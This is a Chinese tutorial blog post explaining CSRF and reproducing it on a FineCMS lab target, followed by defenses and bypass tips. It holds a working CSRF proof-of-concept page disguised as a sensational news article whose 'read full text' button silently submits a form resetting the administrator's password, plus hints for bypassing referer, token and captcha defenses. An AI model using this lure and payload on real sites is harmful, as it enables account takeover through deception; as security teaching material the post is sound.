前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >CSRF跨站请求伪造——原理及复现

CSRF跨站请求伪造——原理及复现

原创
作者头像
行云博客
修改于 2020-08-13 02:13:21
修改于 2020-08-13 02:13:21
2.4K0
举报
文章被收录于专栏:行云博客行云博客

转自行云博客https://www.xy586.top/

原理

CSRF(Cross-site request forgery)跨站请求伪造:通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。 尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。 与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性

你这可以这么理解CSRF攻击:攻击者盗用了你的身份,以你的名义发送恶意请求。 CSRF能够做的事情包括:以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账......造成的问题包括: 个人隐私泄露以及财产安全。

过程

csrf过程
csrf过程

复现

靶场

某finecms,该源码存在xss以及csrf漏洞

下载地址finecms

安装教程文件里有,这里不再说明

步骤

代码审计加抓包发现构造点

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

利用burp自带功能,生成csrf的payload

在这里插入图片描述
在这里插入图片描述

本地保存下来并访问

代码语言:txt
AI代码解释
复制
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <title>震惊!!! 某网吧机子竟集体瘫痪</title>
  <link rel="icon" href="https://www.bilibili.com/favicon.ico">
  <body>
    <style type="text/css">

        #sub{
            font-size: 20px;
            display: block;
            height: 58px;
            width: 150px;
            margin: 30px auto 0;
            line-height: 38px;
            vertical-align: middle;
            text-align: center;
            font-size: 16px;
            background: #00a1d6;
            color: #fff;
            border-radius: 10px;
            transition: 0.2s;
        }
        .title {
            text-align: center;
        }
        p{
            font-size: 50px;
        }
        span{
            font-size: 18px;
        }
      

          </style>
  <script>history.pushState('', '', '/')</script>
    <div class="title">
    <h1>震惊</h1>
    <h1>男子购买网络攻击工具当黑客 致40多家网吧瘫痪!</h1>
    <h2>原因让网友无语......</h2>
    </div>

    <div>
        <p><img src="https://n.sinaimg.cn/spider202089/73/w344h529/20200809/15d4-ixkvvue4830298.png" align=left border=0>
            <img src="http://p4.itc.cn/images01/20200810/8d01f2d0c64a4c308415de0081288005.jpeg" align="right" border=0 width="344" height="529">
    <div><span>网络并非法外之地,如果因为个人在网络上的行为,致使他人遭受权益损害或者损失的话,同样会遭受到法律的惩罚。<br>
据媒体报道,近日,山东济南的一位年轻小伙王某某,因为在网络上发动网络攻击,致使40多家网吧网络瘫痪、频繁掉线。
随后,这位男子在当地被公安机关逮捕。只是这个男子的动机,着实让一众网友无语,其自称到,这样做纯粹是因为好玩,看到别人断网就兴奋。</span></div></p>
    <form action="http://finecms.com/admin.php?c=member&m=edit&uid=1" method="POST" name="hack">
      <input type="hidden" name="page" value="0" />
      <input type="hidden" name="member&#91;email&#93;" value="1&#64;qq&#46;com" />
      <input type="hidden" name="member&#91;name&#93;" value="1212" />
      <input type="hidden" name="member&#91;phone&#93;" value="12" />
      <input type="hidden" name="member&#91;password&#93;" value="123456" />
      <input type="submit" value="点击查看全文" id="sub"/>
      <img src="http://img4.myhsw.cn/2020-08-10/ACI4nKVTvKdHmM5u.jpg" align="center" height="330" width="800">
    </div>
      <script type="text/javascript">
        
        //document.hack.submit()
      </script>
    </form>
  </body>
</html>
在这里插入图片描述
在这里插入图片描述

当管理员点击查看全文时,将会自动提交表单来修改密码

代码语言:txt
AI代码解释
复制
<form action="http://finecms.com/admin.php?c=member&m=edit&uid=1" method="POST" name="hack">
      <input type="hidden" name="page" value="0" />
      <input type="hidden" name="member&#91;email&#93;" value="1&#64;qq&#46;com" />
      <input type="hidden" name="member&#91;name&#93;" value="1212" />
      <input type="hidden" name="member&#91;phone&#93;" value="12" />
      <input type="hidden" name="member&#91;password&#93;" value="123456" />
      <input type="submit" value="点击查看全文" id="sub"/><form action="http://finecms.com/admin.php?c=member&m=edit&uid=1" method="POST" name="hack">
      <input type="hidden" name="page" value="0" />
      <input type="hidden" name="member&#91;email&#93;" value="1&#64;qq&#46;com" />
      <input type="hidden" name="member&#91;name&#93;" value="1212" />
      <input type="hidden" name="member&#91;phone&#93;" value="12" />
      <input type="hidden" name="member&#91;password&#93;" value="123456" />
      <input type="submit" value="点击查看全文" id="sub"/>
在这里插入图片描述
在这里插入图片描述

此时我们已经成功修改了管理员的密码,并可以登录了

防御方式

  1. REferer头防御
  2. 加验证码
  3. token
  4. 自定义请求头

绕过方式

  1. referer绕过把我们的csrf文件名改为信任的域名
  2. 看验证码是否生效第二看验证码是否多次请求都不会过期
  3. 第一找token加密规则,第二xss打token
  4. 抓包查看私有请求头,然后通过xmlhttprequest来创建请求头

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
python部署-nginx部署带docker的https请求
首先例如使用https://www.Se7eN_HOU.com进行首页访问,首先会先进入到主服务器里面,经过主服务器的Nginx Web服务器,进行web服务。这时主服务器的nginx就会监听80端口,收到这个请求
Se7eN_HOU
2020/04/24
1.2K0
Nginx通过二级目录(路径)映射不同的反向代理,规避IP+端口访问
这是我上一家公司的案例总结,发现躺在草稿箱好几个月了,今天得空就整理发布一下。 先说一下开发那边提来的 2 个 case: ①、同一个域名需要反向代理到前台和后台(不同机器和端口); ②、需要采用
张戈
2018/03/21
23K0
Nginx通过二级目录(路径)映射不同的反向代理,规避IP+端口访问
[GOFLY] 宝塔安装部署在线客服系统教程-在线客服系统-客服系统源码-GOFLY在线客服
官网授权得到压缩包后,参考以下步骤进行安装。官网地址 https://gofly.sopans.com
唯一Chat
2022/02/23
13.3K0
必知的Node服务端部署:Nginx反向代理多域名,forever守护Node进程
以上就是我整理分享给各位小伙伴关于Nginx反向代理多域名,forever守护Node.js进程相关技术点,希望能够在小伙伴的工作和学习中提供一定的帮助,各位小伙伴记得点击在看,分享转发呦!同时小伙伴也可以留言多多交流呦!
胡哥有话说
2019/07/25
4.8K1
proxy_pass根据path路径转发时的"/"问题记录
在nginx中配置proxy_pass时,如果是按照^~匹配路径时,要注意proxy_pass后的url最后的/。当加上了/,相当于是绝对根路径,则nginx不会把location中匹配的路径部分代理走;如果没有/,则会把匹配的路径部分也给代理走。 比如下面设置: location ^~ /wangshibo/ { proxy_cache js_cache; proxy_set_header Host js.test.com; proxy_pass http://js.test.com/; } 如
洗尽了浮华
2018/01/23
2.8K0
spug自动化运维平台部署与使用
检查git clone权限问题,更新ssh-key后,确认docker内 /root/.ssh/id_rsa 是否更新,是否可以访问 gitlab
IT不难
2023/11/17
8260
spug自动化运维平台部署与使用
nginx通过https方式反向代理多实例tomcat
案例说明: 前面一层nginx+Keepalived部署的LB,后端两台web服务器部署了多实例的tomcat,通过https方式部署nginx反向代理tomcat请求。配置一如下: 1)LB层的nginx配置 访问http强制转到https [root@external-lb01 ~]# cat /data/nginx/conf/vhosts/80-www.kevin.com.conf server { listen 80; server_name kev
洗尽了浮华
2018/01/23
3.1K0
docker安装nginx并配置https
配置完后,访问example.com、www.example.com 的请求会被转发到服务器的8090端口
Java那些事儿
2020/07/21
15.9K3
docker安装nginx并配置https
Docker容器服务发现方案
在服务在容器中部署时,外部调用服务需要知道服务接口ip及端口号,这样导致部署时需要配置,从而增加部署的困难。本文档主要介绍如何使用ningx反向代理和consul进行自动化服务发现与部署,从而使外部访问服务只需要访问nginx代理即可解决,同时也可以解决分布式服务及大访问量负载问题。
少羽大怪兽
2019/02/22
1.8K0
Docker容器服务发现方案
(转)Nginx 中配置文件 location proxy_pass路径转发规则之末尾斜杠
注:这里也可以写成:“proxy_pass http://192.168.1.31/sta/;”。当然,不推荐使用上面这种写法
leehao
2025/02/11
1950
jiacrontab 2.x发布,简单可信赖的任务管理工具,支持秒级定时任务
jiacrontab是一款使用golang编写的定时任务(crontab)工具,在文章《使用jiacrontab搭建一个可视化的定时任务》介绍过jiacrontab 1.4x版本,经过作者不断努力,2.x版本已开发完毕,功能更强大,界面更美观。如果你还在寻找可视化定时任务工具,jiacrontab 2.x是一个不错的选择。
jwangkun
2021/12/23
1.7K0
jiacrontab 2.x发布,简单可信赖的任务管理工具,支持秒级定时任务
服务器集群自动切换网络节点
eisc
2024/08/22
2170
开源免费简洁美观的网盘系统Z-File
此项目是一个在线文件目录的程序, 支持各种对象存储和本地存储, 使用定位是个人放常用工具下载, 或做公共的文件库.
星哥玩云
2022/09/15
2.9K0
开源免费简洁美观的网盘系统Z-File
nginx反向代理实例配置
nginx反向代理实例配置 我们有一个主站是.NET的,是由几个小站组成的,现在我们需要再挂一个网站。 需要在windows机器上做反向代理,但是主站不在我们这里,修改起来比较麻烦。 之前的小站都是这样去反向代理的。 为了以后加小站不再麻烦别人,我们打算加一台nginx 做反向代理。 配置大概如下 server { listen 80; server_name www.xxx.com; root /home; index index.
友儿
2022/09/11
8430
x-ui加nginx实现ssl访问
零基础保姆级小白节点搭建教学,目前最安全最稳定的搭建方式,通过x-ui面板实现单端口多用户合租
jerry_huang
2024/05/22
8750
Nginx80端口转发+域名—实现IP+端口隐藏
1.打开conf下nginx.conf 在最后一个 } 前插入 include proxy.conf; 2.新建文件 proxy.conf ,进行如下配置
小诸葛
2020/04/14
7.1K0
Nginx 总结
如果是使用了两层或以上cdn(使用了cdn和web防火墙也适用),那么在nginx的配置文件http{}字段中加入
yiyun
2022/04/01
2840
nginx配置多个server监听80端口
有时候需要部署很多个服务时,如果不想让域名的后面带上端口号这个问题应该怎么做呢,实际也是有这样的场景的,本小节来做一个学习
在水一方
2022/06/14
6.1K0
nginx配置多个server监听80端口
nginx反向代理+缓存开启+url重写+负载均衡(带健康探测)的部署记录
在日常运维工作中,运维人员会时常使用到nginx的反向代理,负载均衡以及缓存等功能来优化web服务性能。 废话不多说,下面对测试环境下的nginx反向代理+缓存开启+url重写+负载均衡(带健康探测)
洗尽了浮华
2018/01/22
3.3K0
nginx反向代理+缓存开启+url重写+负载均衡(带健康探测)的部署记录
Nginx反向代理中使用proxy_redirect重定向url
在使用Nginx做反向代理功能时,有时会出现重定向的url不是我们想要的url,这时候就可以使用proxy_redirect进行url重定向设置了。proxy_redirect功能比较强大,其作用是对发送给客户端的URL进行修改!! 语法:proxy_redirect [ default|off|redirect replacement ]; 默认:proxy_redirect default; 配置块(使用的字段):http、server、location 当上游服务器返回的响应是重定向或刷新请求(如HT
洗尽了浮华
2018/01/23
27.5K0
推荐阅读
相关推荐
python部署-nginx部署带docker的https请求
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档